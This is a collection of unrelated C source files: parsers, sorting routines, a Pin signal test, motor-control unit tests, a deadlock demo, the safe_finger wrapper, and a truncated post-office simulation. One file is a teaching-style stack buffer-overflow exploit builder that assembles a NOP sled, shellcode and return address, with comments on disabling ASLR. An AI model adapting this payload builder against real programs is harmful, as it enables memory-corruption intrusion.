* overflow.
*/
const char *s = nptr;
unsigned long acc;
int c;
unsigned long cutoff;
int neg = 0, any, cutlim;
int base = 10;
c = *s++;
if (c == '-') {
neg = 1;
c = *s++;
}
else if (c == '+') {
c = *s++;
}
cutoff = neg ? - (unsigned long) LONG_MIN : LONG_MAX;
cutlim = cutoff % (unsigned long) base;
cutoff /= (unsigned long) base;
for (acc = 0, any = 0; (s - ((const char *) nptr) <= len ); c = *s++) {
if (isdigit(c)) {
c -= '0';
}
else {
any = -1;
break;
}
if (c >= base) {
any = -1;
break;
}
if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim)) {
any = -1;
}
else {
any = 1;
acc *= base;
acc += c;
}
}
if (any < 0) {
*result = 0;
return -1;
}
else if (neg) {
acc = -acc;
}
*result = acc;
return 0;
}
|
the_stack_data/230734.c | void insertion_sort(int list[], int n)
{
int temp;
int j;
for (int i = 0; i < n; i++)
{
temp = list[i];
for (j = i - 1; j >= 0 && temp < list[j]; j--) //매번 자신의 알맞은 위치를 탐색하여 삽입
{
list[j + 1] = list[j];
}
list[j + 1] = temp;
}
} |
the_stack_data/676218.c | #include<stdio.h>
void selectionSort(int arr[], int arrSize) {
int i, j, k;
// Algorithm for sorting.
for (i = 0; i <= arrSize - 2; i++)
for (j = i + 1; j <= arrSize - 1; j++)
if (arr[i] > arr[j]) {
int temp = arr[i];
arr[i] = arr[j];
arr[j] = temp;
}
//End of algorithm.
}
/*
int main()
{
int arr[' '],arrSize,i;
printf("Enter size of the array :: ");
scanf("%d",&arrSize);
printf("\nEnter elements of the array ::\n");
for(i=0; i<arrSize; i++)
scanf("%d",&arr[i]);
selectionSort(arr,arrSize);
printf("\nSorted array ::");
for(i=0; i<arrSize; i++)
printf(" %d",arr[i]);
return 0;
}
*/
|
the_stack_data/18968.c | /*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2016 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
/*
* This test verifies that Pin correctly clears the DF bit when executing
* the application's signal handler.
*
* This test may also be run natively, bit it fails on older kernels
* because older kernels did not correctly clear DF on entry to a signal
* handler. (The same bug Pin used to have.)
*/
#include <stdio.h>
#include <signal.h>
#include <sys/time.h>
int DidTest;
int DFSet = 0;
int Flags;
extern void SetAndClearDF();
extern void SignalHandler(int);
int main()
{
struct sigaction sigact;
struct itimerval itval;
sigact.sa_handler = SignalHandler;
sigact.sa_flags = 0;
sigemptyset(&sigact.sa_mask);
if (sigaction(SIGALRM, &sigact, 0) == -1)
{
fprintf(stderr, "Unable to set up handler\n");
return 1;
}
itval.it_interval.tv_sec = 0;
itval.it_interval.tv_usec = 100000;
itval.it_value.tv_sec = 0;
itval.it_value.tv_usec = 100000;
if (setitimer(ITIMER_REAL, &itval, 0) == -1)
{
fprintf(stderr, "Unable to set up timer\n");
return 1;
}
/*
* Continuously set and clear the DF bit until a signal arrives while DF is set.
*/
while (!DidTest)
SetAndClearDF();
itval.it_value.tv_sec = 0;
itval.it_value.tv_usec = 0;
if (setitimer(ITIMER_REAL, &itval, 0) == -1)
{
fprintf(stderr, "Unable to disable timer\n");
return 1;
}
/*
* The signal handler copied the flags to 'Flags'. Make sure the DF bit was
* cleared in the handler.
*/
if (Flags & (1<<10))
{
fprintf(stderr, "DF bit set incorrectly in signal handler\n");
return 1;
}
return 0;
}
|
the_stack_data/22013660.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
/**
* Example of inject c code
* libc - system add : 0x7ffff7e2bcd0
* libc - exit : 0x7ffff7e213c0
* shell env : 0x7fffffffe01b
* disable randomize stack sudo sysctl -w kernel.randomize_va_space=0
*/
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
// char shellcode2[] =
// "\xb8\x01\x00\x00\x00"
// "\xbb\x05\x00\x00\x00"
// "\xcd\x80";
// char shellcode[] =
// "\xd0\xbc\xe2\xf7\xff\x7f" // system()
// "\xc0\x13\xe2\xf7\xff\x7f" // exit()
// "\x1b\xe0\xff\xff\xff\x7f";
unsigned char shellcode[] = "\xb0\x01"
"\xb3\x05"
"\xcd\x80";
unsigned long *
get_sp(void)
{
__asm__("mov %rsp, %rax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
unsigned long *addr_ptr, addr;
int offset = DEFAULT_OFFSET, bsize = DEFAULT_BUFFER_SIZE;
int i;
size_t shellcode_len = strlen(shellcode);
if (argc > 1)
bsize = atoi(argv[1]);
if (argc > 2)
offset = atoi(argv[2]);
if (!(buff = malloc(bsize + 9)))
{
printf("Can’t allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
fprintf(stderr, "Size of PTR: %ldb\n", sizeof(unsigned long *));
fprintf(stderr, "Using address : 0x%lx\n", addr);
fprintf(stderr, "Shell code len %lu\n", shellcode_len);
ptr = buff;
addr_ptr = (unsigned long *)ptr;
// add noop instruction
for (i = 0; i < bsize / 2; i++)
*(ptr++) = NOP;
// add shellcode
for (i = 0; i < shellcode_len; i++)
*(ptr++) = shellcode[i];
// add padding
for (i = 0; i < (bsize - (bsize / 2) - (shellcode_len)); i++)
*(ptr++) = 'A';
// add jmo address
*((unsigned long *)ptr) = addr;
printf("%s", buff);
} |
the_stack_data/140091.c | /*P5.39 Program to multiply two numbers by russian peasant method*/
#include<stdio.h>
int main(void)
{
int a,b,x,y,s=0;
printf("Enter two numbers to be multiplied : ");
scanf("%d%d",&x,&y);
a = x;
b = y;
while(a>=1) /*Loop till first number reduces to 1*/
{
if(a%2!=0) /*If first number is odd*/
s=s+b; /*Add second number to s*/
a/=2; /*Divide first number by 2*/
b*=2; /*Multiply second number by 2*/
}
printf("%d * %d = %d\n",x,y,s);
return 0;
} |
the_stack_data/7950817.c | #ifdef TEST
#include "test_assert_with_exception.h"
#include "unity.h"
#include "uz_speedcontrol.h"
#include "../uz_piController/uz_piController.h"
#include "../uz_signals/uz_signals.h"
struct uz_PI_Controller_config config = {0};
float omega_el_rad_per_sec = 0.0f;
float n_ref_rpm = 1000.0f;
float id_ref_Ampere = 1.0f;
float polePairs = 4.0f;
float U_zk_Volts = 24.0f;
bool ext_clamping = false;
struct uz_PMSM_t config_PMSM = {0};
void setUp(void)
{
config.Kp = 0.00864f;
config.Ki = 0.0864f;
config.samplingTime_sec = 0.00001f;
config.upper_limit = 10.0f;
config.lower_limit = -10.0f;
omega_el_rad_per_sec = 0.0f;
n_ref_rpm = 1000.0f;
id_ref_Ampere = 1.0f;
U_zk_Volts = 24.0f;
ext_clamping = false;
config_PMSM.R_ph_Ohm = 0.08f;
config_PMSM.Ld_Henry = 0.00027f;
config_PMSM.Lq_Henry = 0.00027f;
config_PMSM.Psi_PM_Vs = 0.0082f;
config_PMSM.polePairs = 4.0f;
config_PMSM.I_max_Ampere = 10.0f;
}
void test_uz_SpeedControl_sample_NULL(void){
setUp();
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(NULL, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_Rph_negative(void){
setUp();
config_PMSM.R_ph_Ohm = -0.08f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_Rph_zero(void){
setUp();
config_PMSM.R_ph_Ohm = 0.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_Ld_negative(void){
setUp();
config_PMSM.Ld_Henry = -0.08f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_Ld_zero(void){
setUp();
config_PMSM.Ld_Henry = 0.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_Lq_negative(void){
setUp();
config_PMSM.Lq_Henry = -0.08f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_Lq_zero(void){
setUp();
config_PMSM.Lq_Henry = 0.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_Psi_pm(void){
setUp();
config_PMSM.Psi_PM_Vs = -0.08f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_polePairs_negative(void){
setUp();
config_PMSM.polePairs = -2.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_polePairs_zero(void){
setUp();
config_PMSM.polePairs = 0.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_polePairs_decimal_value(void){
setUp();
config_PMSM.polePairs = 0.5f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_I_max_negative(void){
setUp();
config_PMSM.I_max_Ampere = -5.08f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_I_max_zero(void){
setUp();
config_PMSM.I_max_Ampere = 0.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_U_zk_negative(void){
setUp();
U_zk_Volts = -5.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_assert_U_zk_zero(void){
setUp();
U_zk_Volts = 0.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping));
}
void test_uz_SpeedControl_reset_NULL(void){
setUp();
TEST_ASSERT_FAIL_ASSERT(uz_SpeedControl_reset(NULL));
}
void test_uz_SpeedControl_sample_output(void){
setUp();
//Values for comparision from simulation
//Tests, if the output is as expected from the simulation
uz_PI_Controller* instance = uz_SpeedControl_init(config);
float values_omega[5]={0.0f, 0.0f, 0.0f, 0.011999f, 0.04947f};
float id_out[5]={1.0f, 1.0f, 1.0f, 1.0f, 1.0f};
float iq_out[5]={3.6191f, 3.6195f, 3.6198f, 3.62f, 3.62f};
for(int i=0;i<5;i++){
omega_el_rad_per_sec = values_omega[i];
struct uz_dq_t output = uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping);
TEST_ASSERT_FLOAT_WITHIN(1e-03, id_out[i], output.d);
TEST_ASSERT_FLOAT_WITHIN(1e-03, iq_out[i], output.q);
}
}
void test_uz_SpeedControl_sample_output_limit(void){
setUp();
//Values for comparision from simulation
//Tests, if the integrated output limitation of the controller works
n_ref_rpm = 3000.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
float id_out = 1.0f;
float iq_out = 9.9499f;
omega_el_rad_per_sec = 0.0f;
struct uz_dq_t output = uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping);
TEST_ASSERT_FLOAT_WITHIN(1e-03, id_out, output.d);
TEST_ASSERT_FLOAT_WITHIN(1e-03, iq_out, output.q);
}
void test_uz_SpeedControl_sample_ext_clamping(void){
setUp();
//Values for comparision from simulation
//Tests, if ext_clamping is active, that the integrator doesn't rise
ext_clamping = true;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
float values_omega[5]={0.0f, 0.0f, 0.0f, 0.011999f, 0.04947f};
float id_out[5]={1.0f, 1.0f, 1.0f, 1.0f, 1.0f};
float iq_out[5]={3.6191f, 3.6191f, 3.6191f, 3.6190f, 3.6189f};
for(int i=0;i<5;i++){
omega_el_rad_per_sec = values_omega[i];
struct uz_dq_t output = uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping);
TEST_ASSERT_FLOAT_WITHIN(1e-03, id_out[i], output.d);
TEST_ASSERT_FLOAT_WITHIN(1e-03, iq_out[i], output.q);
}
}
void test_uz_SpeedControl_sample_field_weakening_active(void){
setUp();
//Values for comparision from simulation
//Tests, if the id_fw_current is correct and the iq_output ist correctly limited
n_ref_rpm = 7000.0f;
id_ref_Ampere = 0.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
float id_out = -4.332f;
float iq_out = 8.582f;
omega_el_rad_per_sec = 1675.5f;
struct uz_dq_t output = uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping);
TEST_ASSERT_FLOAT_WITHIN(1e-03, id_out, output.d);
TEST_ASSERT_FLOAT_WITHIN(1e-03, iq_out, output.q);
}
void test_uz_SpeedControl_sample_field_weakening_manual_id_ref(void){
setUp();
//Values for comparision from simulation
//Tests, that the manual id_ref is used, if its lower than id_fw_current
n_ref_rpm = 7000.0f;
id_ref_Ampere = -5.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
float id_out = -5.0f;
float iq_out = 8.582f;
omega_el_rad_per_sec = 1675.5f;
struct uz_dq_t output = uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping);
TEST_ASSERT_FLOAT_WITHIN(1e-03, id_out, output.d);
TEST_ASSERT_FLOAT_WITHIN(1e-03, iq_out, output.q);
}
void test_uz_SpeedControl_sample_field_weakening_manual_id_ref_too_low(void){
setUp();
//Values for comparision from simulation
//Tests, that the manual id_ref is not used, if its lower than -I_max
n_ref_rpm = 7000.0f;
id_ref_Ampere = -25.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
float id_out = -4.332f;
float iq_out = 8.582f;
omega_el_rad_per_sec = 1675.5f;
struct uz_dq_t output = uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping);
TEST_ASSERT_FLOAT_WITHIN(1e-03, id_out, output.d);
TEST_ASSERT_FLOAT_WITHIN(1e-03, iq_out, output.q);
}
void test_uz_SpeedControl_sample_field_weakening_manual_id_positive(void){
setUp();
//Values for comparision from simulation
//Tests, that a positive manual id_ref is used, if FW is off
n_ref_rpm = 2000.0f;
id_ref_Ampere = 5.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
float id_out = 5.0f;
omega_el_rad_per_sec = 837.75f;
struct uz_dq_t output = uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping);
TEST_ASSERT_FLOAT_WITHIN(1e-03, id_out, output.d);
}
void test_uz_SpeedControl_sample_field_weakening_manual_id_ref_limit_iq(void){
setUp();
//Values for comparision from simulation
//Tests, that the manual id_ref is not used, if its lower than -I_max
n_ref_rpm = 7000.0f;
id_ref_Ampere = 5.0f;
uz_PI_Controller* instance = uz_SpeedControl_init(config);
float id_out = 5.0f;
float iq_out = 8.66f;
omega_el_rad_per_sec = 209.44f;
struct uz_dq_t output = uz_SpeedControl_sample(instance, omega_el_rad_per_sec, n_ref_rpm, U_zk_Volts, id_ref_Ampere, config_PMSM, ext_clamping);
TEST_ASSERT_FLOAT_WITHIN(1e-03, id_out, output.d);
TEST_ASSERT_FLOAT_WITHIN(1e-03, iq_out, output.q);
}
#endif // TEST
|
the_stack_data/48520.c | #include<stdio.h>
int b[100001]={0};
int main()
{
int a,m=0,n,k,i=0,j;
scanf("%d",&n);
for(i=0;i<n;i++)
{
scanf("%d",&a);
b[a]++;
}
scanf("%d",&k);
for(i=100000;i>=0;i--)
{
if (b[i]!=0){m++;}
if(m==k){j=i;break;}
}
printf("%d %d",j,b[j]);
return 0;
} |
the_stack_data/760321.c | double r_atn2(x,y)
float *x, *y;
{
double atan2();
return( atan2(*x,*y) );
}
|
the_stack_data/234518904.c | #include <stdio.h>
int main() {
int num, x, contin=0, contout=0;
scanf("%d", &num);
for(int i=0;i<num;i++){
scanf("%d", &x);
if (x>=10 && x<=20){
contin++;
}
else{
contout++;
}
}
printf("%d in\n", contin);
printf("%d out\n", contout);
return 0;
} |
the_stack_data/141319.c | #include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
pthread_mutex_t lock1, lock2;
/**
* console.log we add here flush for std out
* @param str - some string for output
*/
void consoleLog(const char * str) {
printf("%s", str);
fflush(stdout);
}
void *thread1(void *arg) {
consoleLog("T1: Started\n");
// pthread_mutex_lock(&lock1);
// consoleLog("T1: Job started in resource1..\n");
usleep(2000);
consoleLog("T1: Trying to get resource2\n");
pthread_mutex_lock(&lock2);
consoleLog("T1: Aquired resource2\n");
pthread_mutex_unlock(&lock2);
consoleLog("T1: Job finished in resource2..\n");
// pthread_mutex_unlock(&lock1);
// consoleLog("T1: Job finished in resource1..\n");
consoleLog("T1: Finished\n");
pthread_exit(NULL);
}
void *thread2(void *arg) {
consoleLog("T2: Started\n");
// pthread_mutex_lock(&lock2);
// consoleLog("T2: Job started in resource2..\n");
usleep(2000);
consoleLog("T2: Trying to get resource1\n");
pthread_mutex_lock(&lock1);
consoleLog("T2: Aquired resource1\n");
pthread_mutex_unlock(&lock1);
consoleLog("T2: Job finished in resource1..\n");
// pthread_mutex_unlock(&lock2);
// consoleLog("T2: Job finished in resource2..\n");
consoleLog("T2: Finished\n");
pthread_exit(NULL);
}
int main(int argc, char *argv[]) {
consoleLog("Main: Started\n");
pthread_mutex_init(&lock1, NULL);
pthread_mutex_init(&lock2, NULL);
pthread_t t1, t2;
pthread_create(&t1, NULL, thread1, NULL);
pthread_create(&t2, NULL, thread2, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
consoleLog("Main: Finished\n");
return 0;
}
|
the_stack_data/32949919.c | /*
* safe_finger - finger client wrapper that protects against nasty stuff
* from finger servers. Use this program for automatic reverse finger
* probes, not the raw finger command.
*
* Build with: cc -o safe_finger safe_finger.c
*
* The problem: some programs may react to stuff in the first column. Other
* programs may get upset by thrash anywhere on a line. File systems may
* fill up as the finger server keeps sending data. Text editors may bomb
* out on extremely long lines. The finger server may take forever because
* it is somehow wedged. The code below takes care of all this badness.
*
* Author: Wietse Venema, Eindhoven University of Technology, The Netherlands.
*/
#ifndef lint
static char sccsid[] = "@(#) safe_finger.c 1.4 94/12/28 17:42:41";
#endif
/* System libraries */
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <stdio.h>
#include <ctype.h>
#include <pwd.h>
extern void exit();
/* Local stuff */
char path[] = "PATH=/bin:/usr/bin:/usr/ucb:/usr/bsd:/etc:/usr/etc:/usr/sbin";
#define TIME_LIMIT 60 /* Do not keep listinging forever */
#define INPUT_LENGTH 100000 /* Do not keep listinging forever */
#define LINE_LENGTH 128 /* Editors can choke on long lines */
#define FINGER_PROGRAM "finger" /* Most, if not all, UNIX systems */
#define UNPRIV_NAME "nobody" /* Preferred privilege level */
#define UNPRIV_UGID 32767 /* Default uid and gid */
int finger_pid;
void cleanup(sig)
int sig;
{
kill(finger_pid, SIGKILL);
exit(0);
}
main(argc, argv)
int argc;
char **argv;
{
int c;
int line_length = 0;
int finger_status;
int wait_pid;
int input_count = 0;
struct passwd *pwd;
/*
* First of all, let's don't run with superuser privileges.
*/
if (getuid() == 0 || geteuid() == 0) {
if ((pwd = getpwnam(UNPRIV_NAME)) && pwd->pw_uid > 0) {
setgid(pwd->pw_gid);
setuid(pwd->pw_uid);
} else {
setgid(UNPRIV_UGID);
setuid(UNPRIV_UGID);
}
}
/*
* Redirect our standard input through the raw finger command.
*/
if (putenv(path)) {
fprintf(stderr, "%s: putenv: out of memory", argv[0]);
exit(1);
}
argv[0] = FINGER_PROGRAM;
finger_pid = pipe_stdin(argv);
/*
* Don't wait forever (Peter Wemm <[email protected]>).
*/
signal(SIGALRM, cleanup);
(void) alarm(TIME_LIMIT);
/*
* Main filter loop.
*/
while ((c = getchar()) != EOF) {
if (input_count++ >= INPUT_LENGTH) { /* don't listen forever */
fclose(stdin);
printf("\n\n Input truncated to %d bytes...\n", input_count - 1);
break;
}
if (c == '\n') { /* good: end of line */
putchar(c);
line_length = 0;
} else {
if (line_length >= LINE_LENGTH) { /* force end of line */
printf("\\\n");
line_length = 0;
}
if (line_length == 0) { /* protect left margin */
putchar(' ');
line_length++;
}
if (isascii(c) && (isprint(c) || isspace(c))) { /* text */
if (c == '\\') {
putchar(c);
line_length++;
}
putchar(c);
line_length++;
} else { /* quote all other thash */
printf("\\%03o", c & 0377);
line_length += 4;
}
}
}
/*
* Wait until the finger child process has terminated and account for its
* exit status. Which will always be zero on most systems.
*/
while ((wait_pid = wait(&finger_status)) != -1 && wait_pid != finger_pid)
/* void */ ;
return (wait_pid != finger_pid || finger_status != 0);
}
/* perror_exit - report system error text and terminate */
void perror_exit(text)
char *text;
{
perror(text);
exit(1);
}
/* pipe_stdin - pipe stdin through program (from my ANSI to OLD C converter) */
int pipe_stdin(argv)
char **argv;
{
int pipefds[2];
int pid;
int i;
struct stat st;
/*
* The code that sets up the pipe requires that file descriptors 0,1,2
* are already open. All kinds of mysterious things will happen if that
* is not the case. The following loops makes sure that descriptors 0,1,2
* are set up properly.
*/
for (i = 0; i < 3; i++) {
if (fstat(i, &st) == -1 && open("/dev/null", 2) != i)
perror_exit("open /dev/null");
}
/*
* Set up the pipe that interposes the command into our standard input
* stream.
*/
if (pipe(pipefds))
perror_exit("pipe");
switch (pid = fork()) {
case -1: /* error */
perror_exit("fork");
/* NOTREACHED */
case 0: /* child */
(void) close(pipefds[0]); /* close reading end */
(void) close(1); /* connect stdout to pipe */
if (dup(pipefds[1]) != 1)
perror_exit("dup");
(void) close(pipefds[1]); /* close redundant fd */
(void) execvp(argv[0], argv);
perror_exit(argv[0]);
/* NOTREACHED */
default: /* parent */
(void) close(pipefds[1]); /* close writing end */
(void) close(0); /* connect stdin to pipe */
if (dup(pipefds[0]) != 0)
perror_exit("dup");
(void) close(pipefds[0]); /* close redundant fd */
return (pid);
}
}
|
the_stack_data/9512625.c | #include <stdio.h>
int main(int argc, char *argv[])
{
puts("Hello World.");
return 0;
} |
the_stack_data/76699954.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_STRING_LENGTH 6
//#define DEBUG
#ifdef DEBUG
#define IF_DEBUG(x) (x);
#else
#define IF_DEBUG(x)
#endif
struct package
{
char* id;
int weight;
};
typedef struct package package;
struct post_office
{
int min_weight;
int max_weight;
package* packages;
int packages_count;
};
typedef struct post_office post_office;
struct town
{
char* name;
post_office* offices;
int offices_count;
};
int towns_count;
typedef struct town town;
town* towns;
void print_all_packages(town t)
{
/* Print town's name. */
printf("%s:\r\n", t.name);
/* Iterate through town's post offices. */
for (int o = 0; o < t.offices_count; o++) {
/* Print post office id. */
printf("\t%d:\r\n", o);
/* Iterate through post office's packages. */
for (int p = 0; p < t.offices[o].packages_count; p++) {
printf("\t\t%s\r\n", t.offices[o].packages[p].id);
}
}
}
#ifdef DEBUG
void print_all(void)
{
printf(" ### print all being ###\r\n");
printf("towns_count = %d\r\n", towns_count);
for (int t = 0; t < towns_count; t++) {
/* Print town's name. */
printf("Town: %s (offices_count = %d)\r\n", towns[t].name, towns[t].offices_count);
/* Iterate through town's post offices. */
for (int o = 0; o < towns[t].offices_count; o++) {
/* Print post office id. */
printf("\tOffice: %d (packages_count = %d):\r\n", o, towns[t].offices[o].packages_count);
/* Iterate through post office's packages. */
for (int p = 0; p < towns[t].offices[o].packages_count; p++) {
printf("\t\tid = %s, weight = %d\r\n", towns[t].offices[o].packages[p].id, towns[t].offices[o].packages[p].weight);
}
}
}
printf(" ### print all end ###\r\n");
}
void print_office_packages(const int post_office_index, const post_office *o)
{
/* Print post office id. */
printf("\tOffice %d packages:\r\n", post_office_index);
/* Iterate through post office's packages. */
for (int p = 0; p < o->packages_count; p++) {
printf("\t\t%s\r\n", o->packages[p].id);
}
}
#endif
/*
send_all_acceptable_packages:
Sometimes two post offices, even in different towns, may organize the following transaction:
the first one sends all its packages to the second one.
The second one accepts the packages that satisfy the weight condition for the second office and rejects all other ones.
These rejected packages return to the first office back and are stored in the same order they were stored before they were sent.
The accepted packages move to the tail of the second office's queue in the same order they were stored in the first office.
*/
void send_all_acceptable_packages(town* source, int source_office_index, town* target, int target_office_index)
{
void *vptr = NULL;
/* Check if source and target post office are the same. */
if ((source == target) && (source_office_index == target_office_index)) {
return;
}
/* Check if index is positive or zero. */
if ((source_office_index < 0) || (target_office_index < 0)) {
return;
}
/* Check if index is in range. */
if ((source_office_index >= source->offices_count) || (target_office_index >= target->offices_count)) {
return;
}
#ifdef DEBUG
printf("\r\n ####################### \r\n");
printf("%s()\r\n", __FUNCTION__));
printf("source town: %s, source office: %d\r\n", source->name, source_office_index));
printf("target town: %s, target office: %d\r\n", target->name, target_office_index);
print_office_packages(source_office_index, &source->offices[source_office_index]);
print_office_packages(target_office_index, &target->offices[target_office_index]);
print_all();
#endif
/* Initialize accepted packages counter. */
int acceptablePackagesCount = 0;
/* Iterate through source post office packages. */
for (int p = 0; p < source->offices[source_office_index].packages_count; p++) {
/* If current package "p" satisfies target post office weight... */
if (source->offices[source_office_index].packages[p].weight <= target->offices[target_office_index].max_weight && \
source->offices[source_office_index].packages[p].weight >= target->offices[target_office_index].min_weight) {
/* Count the number of accepted packages. */
acceptablePackagesCount++;
}
}
IF_DEBUG(printf("acceptablePackagesCount = %d\r\n", acceptablePackagesCount));
/* If there are no packages to process, return. */
if (acceptablePackagesCount == 0) {
return;
}
/* Realloc target office packages (increase memory by the amount of new packages). */
vptr = realloc(target->offices[target_office_index].packages, sizeof(package) * (target->offices[target_office_index].packages_count + acceptablePackagesCount));
/* Check realloc result. */
if (vptr == NULL) {
printf("ERROR: realloc() failed to increase memory.\r\n");
exit(-1);
} else {
target->offices[target_office_index].packages = vptr;
}
/* Initialize source head: pointer to first package. */
package* source_head = &source->offices[source_office_index].packages[0];
/* Initialize target tail: pointer to empty queue location in the target office package queue. */
